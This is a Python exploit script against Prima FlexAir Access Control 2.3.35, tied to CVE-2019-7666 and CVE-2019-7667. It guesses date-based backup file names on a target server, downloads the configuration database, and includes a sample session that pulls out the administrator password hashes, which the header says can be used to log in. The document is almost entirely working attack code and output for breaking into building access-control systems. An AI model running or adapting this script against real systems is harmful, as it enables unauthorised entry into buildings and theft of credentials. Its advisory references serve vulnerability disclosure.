#!/usr/bin/env python # -*- coding: utf8 -*- # # Prima FlexAir Access Control 2.3.35 Database Backup Predictable Name Exploit # Authentication Bypass (Login with MD5 hash) # # CVE: CVE-2019-7666, CVE-2019-7667 # Advisory: https://applied-risk.com/resources/ar-2019-007 # Paper: https://applied-risk.com/resources/i-own-your-building-management-system # # Discovered by Gjoko 'LiquidWorm' Krstic # # Older versions: /links/Nova_Config_2019-01-03.bck # Older versions: /Nova/assets/Nova_Config_2019-01-03.bck # Newer versions: /links/Nova_Config_2019-01-03_13-53.pdb3 # Fixed versions: 2.4 # ################################################################################### # # lqwrm@metalgear:~/stuff/prima$ python exploitDB.py http://192.168.230.17:8080 # [+] Please wait while fetchin the backup config file... # [+] Found some juice! # [+] Downloading: http://192.168.230.17:8080/links/Nova_Config_2019-01-07.bck # [+] Saved as: Nova_Config_2019-01-07.bck-105625.db # lqwrm@metalgear:~/stuff/prima$ sqlite3 Nova_Config_2019-01-07.bck-105625.db # SQLite version 3.22.0 2018-01-22 18:45:57 # Enter ".help" for usage hints. # sqlite> select usrloginname,usrloginpassword from users where usrid in (1,2); # superadmin|0dfcfa8cc7fd39d96ffe22dd406b5065 # sysadmin|1af01c4a5a4ec37f451a9feb20a0bbbe # sqlite> .q # lqwrm@metalgear:~/stuff/prima$ # ################################################################################### # # 11.01.2019 # import os####### import sys###### import time##### import requests# from datetime import timedelta, date from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) piton = os.path.basename(sys.argv[0]) if len(sys.argv) < 2: print '[+] Usage: '+piton+' [target]' print '[+] Target example 1: http://10.0.0.17:8080' print '[+] Target example 2: https://primanova.tld\n' sys.exit() host = sys.argv[1] def datum(start_date, end_date): for n in range(int ((end_date - start_date).days)): yield start_date + timedelta(n) start_date = date(2017, 1, 1) end_date = date(2019, 12, 30) print '[+] Please wait while fetchin the backup config file...' def spinning_cursor(): while True: for cursor in '|/-\\': yield cursor spinner = spinning_cursor() for mooshoo in datum(start_date, end_date): sys.stdout.write(next(spinner)) sys.stdout.flush() time.sleep(0.1) sys.stdout.write('\b') h = requests.get(host+'/links/Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck', verify=False) if (h.status_code) == 200: print '[+] Found some juice!' print '[+] Downloading: '+host+'/links/Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck' timestr = time.strftime('%H%M%S') time.sleep(1) open('Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck-'+timestr+'.db', 'wb').write(h.content) print '[+] Saved as: Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck-'+timestr+'.db' sys.exit() print '[-] No backup for you today. :('